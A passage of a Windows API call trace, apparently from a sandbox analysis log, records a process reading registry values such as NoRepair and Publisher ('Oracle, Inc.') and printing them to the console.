lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.724] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.724] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.724] lstrlenW (lpString="NoRepair") returned 8 [0149.724] __iob_func () returned 0x7fefd702a80 [0149.724] _fileno (_File=0x7fefd702ab0) returned 1 [0149.724] _errno () returned 0x204bb0 [0149.724] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.724] _errno () returned 0x204bb0 [0149.724] GetFileType (hFile=0x50) returned 0x1 [0149.724] lstrlenW (lpString="NoRepair") returned 8 [0149.724] GetConsoleOutputCP () returned 0x1b5 [0149.725] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.725] GetConsoleOutputCP () returned 0x1b5 [0149.725] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0149.725] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.725] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.725] __iob_func () returned 0x7fefd702a80 [0149.725] _fileno (_File=0x7fefd702ab0) returned 1 [0149.725] _errno () returned 0x204bb0 [0149.725] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.725] _errno () returned 0x204bb0 [0149.725] GetFileType (hFile=0x50) returned 0x1 [0149.725] lstrlenW (lpString=" ") returned 4 [0149.725] GetConsoleOutputCP () returned 0x1b5 [0149.725] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.725] GetConsoleOutputCP () returned 0x1b5 [0149.725] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.725] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.725] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.725] __iob_func () returned 0x7fefd702a80 [0149.725] _fileno (_File=0x7fefd702ab0) returned 1 [0149.725] _errno () returned 0x204bb0 [0149.725] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.726] _errno () returned 0x204bb0 [0149.726] GetFileType (hFile=0x50) returned 0x1 [0149.726] lstrlenW (lpString="REG_DWORD") returned 9 [0149.726] GetConsoleOutputCP () returned 0x1b5 [0149.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.726] GetConsoleOutputCP () returned 0x1b5 [0149.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.726] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.726] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.726] __iob_func () returned 0x7fefd702a80 [0149.726] _fileno (_File=0x7fefd702ab0) returned 1 [0149.726] _errno () returned 0x204bb0 [0149.726] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.726] _errno () returned 0x204bb0 [0149.726] GetFileType (hFile=0x50) returned 0x1 [0149.726] lstrlenW (lpString=" ") returned 4 [0149.726] GetConsoleOutputCP () returned 0x1b5 [0149.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.726] GetConsoleOutputCP () returned 0x1b5 [0149.726] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.726] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.727] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.727] __iob_func () returned 0x7fefd702a80 [0149.727] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.727] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.727] _fileno (_File=0x7fefd702ab0) returned 1 [0149.727] _errno () returned 0x204bb0 [0149.727] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.727] _errno () returned 0x204bb0 [0149.727] GetFileType (hFile=0x50) returned 0x1 [0149.727] lstrlenW (lpString="0x1") returned 3 [0149.727] GetConsoleOutputCP () returned 0x1b5 [0149.727] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.727] GetConsoleOutputCP () returned 0x1b5 [0149.727] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.727] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.727] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.727] __iob_func () returned 0x7fefd702a80 [0149.727] _fileno (_File=0x7fefd702ab0) returned 1 [0149.727] _errno () returned 0x204bb0 [0149.727] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.727] _errno () returned 0x204bb0 [0149.727] GetFileType (hFile=0x50) returned 0x1 [0149.727] lstrlenW (lpString="\n") returned 1 [0149.727] GetConsoleOutputCP () returned 0x1b5 [0149.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.728] GetConsoleOutputCP () returned 0x1b5 [0149.728] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.728] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.728] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.728] GetProcessHeap () returned 0x3c0000 [0149.728] GetProcessHeap () returned 0x3c0000 [0149.728] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.728] GetProcessHeap () returned 0x3c0000 [0149.728] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.728] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.728] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.728] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1c) returned 0x0 [0149.728] GetProcessHeap () returned 0x3c0000 [0149.728] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5c60 [0149.728] GetProcessHeap () returned 0x3c0000 [0149.728] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.728] GetProcessHeap () returned 0x3c0000 [0149.728] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1e [0149.728] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x1c | out: pdwType=0x29f700*=0x1, pvData="Oracle, Inc.", pcbData=0x29f780*=0x1a) returned 0x0 [0149.728] __iob_func () returned 0x7fefd702a80 [0149.728] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.728] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.728] _fileno (_File=0x7fefd702ab0) returned 1 [0149.728] _errno () returned 0x204bb0 [0149.728] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.728] _errno () returned 0x204bb0 [0149.728] GetFileType (hFile=0x50) returned 0x1 [0149.728] lstrlenW (lpString=" ") returned 4 [0149.729] GetConsoleOutputCP () returned 0x1b5 [0149.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.729] GetConsoleOutputCP () returned 0x1b5 [0149.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.729] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.729] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.729] lstrlenW (lpString="Publisher") returned 9 [0149.729] __iob_func () returned 0x7fefd702a80 [0149.729] _fileno (_File=0x7fefd702ab0) returned 1 [0149.729] _errno () returned 0x204bb0 [0149.729] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.729] _errno () returned 0x204bb0 [0149.729] GetFileType (hFile=0x50) returned 0x1 [0149.729] lstrlenW (lpString="Publisher") returned 9 [0149.729] GetConsoleOutputCP () returned 0x1b5 [0149.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.729] GetConsoleOutputCP () returned 0x1b5 [0149.729] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0149.729] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.729] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.730] __iob_func () returned 0x7fefd702a80 [0149.730] _fileno (_File=0x7fefd702ab0) returned 1 [0149.730] _errno () returned 0x204bb0 [0149.730] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.730] _errno () returned 0x204bb0 [0149.730] GetFileType (hFile=0x50) returned 0x1 [0149.730] lstrlenW (lpString=" ") returned 4 [0149.730] GetConsoleOutputCP () returned 0x1b5 [0149.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.730] GetConsoleOutputCP () returned 0x1b5 [0149.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.730] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.730] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.730] __iob_func () returned 0x7fefd702a80 [0149.730] _fileno (_File=0x7fefd702ab0) returned 1 [0149.730] _errno () returned 0x204bb0 [0149.730] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.730] _errno () returned 0x204bb0 [0149.730] GetFileType (hFile=0x50) returned 0x1 [0149.730] lstrlenW (lpString="REG_SZ") returned 6 [0149.730] GetConsoleOutputCP () returned 0x1b5 [0149.730] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.730] GetConsoleOutputCP () returned 0x1b5 [0149.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.731] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.731] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.731] __iob_func () returned 0x7fefd702a80 [0149.731] _fileno (_File=0x7fefd702ab0) returned 1 [0149.731] _errno () returned 0x204bb0 [0149.731] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.731] _errno () returned 0x204bb0 [0149.731] GetFileType (hFile=0x50) returned 0x1 [0149.731] lstrlenW (lpString=" ") returned 4 [0149.731] GetConsoleOutputCP () returned 0x1b5 [0149.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.731] GetConsoleOutputCP () returned 0x1b5 [0149.731] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.731] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.731] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.731] __iob_func () returned 0x7fefd702a80 [0149.731] _fileno (_File=0x7fefd702ab0) returned 1 [0149.731] _errno () returned 0x204bb0 [0149.731] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.731] _errno () returned 0x204bb0 [0149.731] GetFileType (hFile=0x50) returned 0x1 [0149.731] lstrlenW (lpString="Oracle, Inc.") returned 12 [0149.731] GetConsoleOutputCP () returned 0x1b5 [0149.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Oracle, Inc.", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.732] GetConsoleOutputCP () returned 0x1b5 [0149.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Oracle, Inc.", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Oracle, Inc.", lpUsedDefaultChar=0x0) returned 12 [0149.732] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.732] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.732] __iob_func () returned 0x7fefd702a80 [0149.732] _fileno (_File=0x7fefd702ab0) returned 1 [0149.732] _errno () returned 0x204bb0 [0149.732] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.732] _errno () returned 0x204bb0 [0149.732] GetFileType (hFile=0x50) returned 0x1 [0149.732] lstrlenW (lpString="\n") returned 1 [0149.732] GetConsoleOutputCP () returned 0x1b5 [0149.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.732] GetConsoleOutputCP () returned 0x1b5 [0149.732] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.732] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.732] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.732] GetProcessHeap () returned 0x3c0000 [0149.732] GetProcessHeap () returned 0x3c0000 [0149.732] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.733] GetProcessHeap () returned 0x3c0000 [0149.733] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x1e [0149.733] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0149.733] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.733] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.733] GetProcessHeap () returned 0x3c0000 [0149.733] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.733] GetProcessHeap () returned 0x3c0000 [0149.733] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.733] GetProcessHeap () returned 0x3c0000 [0149.733] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.733] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0149.733] __iob_func () returned 0x7fefd702a80 [0149.733] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.733] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.733] _fileno (_File=0x7fefd702ab0) returned 1 [0149.733] _errno () returned 0x204bb0 [0149.733] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.733] _errno () returned 0x204bb0 [0149.733] GetFileType (hFile=0x50) returned 0x1 [0149.733] lstrlenW (lpString=" ") returned 4 [0149.733] GetConsoleOutputCP () returned 0x1b5 [0149.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.733] GetConsoleOutputCP () returned 0x1b5 [0149.733] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.733] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.733] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.734] lstrlenW (lpString="Readme") returned 6 [0149.734] __iob_func () returned 0x7fefd702a80 [0149.734] _fileno (_File=0x7fefd702ab0) returned 1 [0149.734] _errno () returned 0x204bb0 [0149.734] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.734] _errno () returned 0x204bb0 [0149.734] GetFileType (hFile=0x50) returned 0x1 [0149.734] lstrlenW (lpString="Readme") returned 6 [0149.734] GetConsoleOutputCP () returned 0x1b5 [0149.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.734] GetConsoleOutputCP () returned 0x1b5 [0149.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0149.734] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.734] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.734] __iob_func () returned 0x7fefd702a80 [0149.734] _fileno (_File=0x7fefd702ab0) returned 1 [0149.734] _errno () returned 0x204bb0 [0149.734] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.734] _errno () returned 0x204bb0 [0149.734] GetFileType (hFile=0x50) returned 0x1 [0149.734] lstrlenW (lpString=" ") returned 4 [0149.734] GetConsoleOutputCP () returned 0x1b5 [0149.734] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.735] GetConsoleOutputCP () returned 0x1b5 [0149.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.735] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.735] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.735] __iob_func () returned 0x7fefd702a80 [0149.735] _fileno (_File=0x7fefd702ab0) returned 1 [0149.735] _errno () returned 0x204bb0 [0149.735] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.735] _errno () returned 0x204bb0 [0149.735] GetFileType (hFile=0x50) returned 0x1 [0149.735] lstrlenW (lpString="REG_SZ") returned 6 [0149.735] GetConsoleOutputCP () returned 0x1b5 [0149.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.735] GetConsoleOutputCP () returned 0x1b5 [0149.735] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.735] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.735] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.735] __iob_func () returned 0x7fefd702a80 [0149.735] _fileno (_File=0x7fefd702ab0) returned 1 [0149.735] _errno () returned 0x204bb0 [0149.735] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.735] _errno () returned 0x204bb0 [0149.735] GetFileType (hFile=0x50) returned 0x1 [0149.735] lstrlenW (lpString=" ") returned 4 [0149.736] GetConsoleOutputCP () returned 0x1b5 [0149.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.736] GetConsoleOutputCP () returned 0x1b5 [0149.736] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.736] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.736] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.736] __iob_func () returned 0x7fefd702a80 [0149.736] _fileno (_File=0x7fefd702ab0) returned 1 [0149.736] _errno () returned 0x204bb0 [0149.736] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.736] _errno () returned 0x204bb0 [0149.736] GetFileType (hFile=0x50) returned 0x1 [0149.736] lstrlenW (lpString="") returned 0 [0149.736] __iob_func () returned 0x7fefd702a80 [0149.736] _fileno (_File=0x7fefd702ab0) returned 1 [0149.736] _errno () returned 0x204bb0 [0149.736] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.736] _errno () returned 0x204bb0 [0149.736] GetFileType (hFile=0x50) returned 0x1 [0149.736] lstrlenW (lpString="\n") returned 1 [0149.736] GetConsoleOutputCP () returned 0x1b5 [0149.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.737] GetConsoleOutputCP () returned 0x1b5 [0149.737] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.737] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.737] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.737] 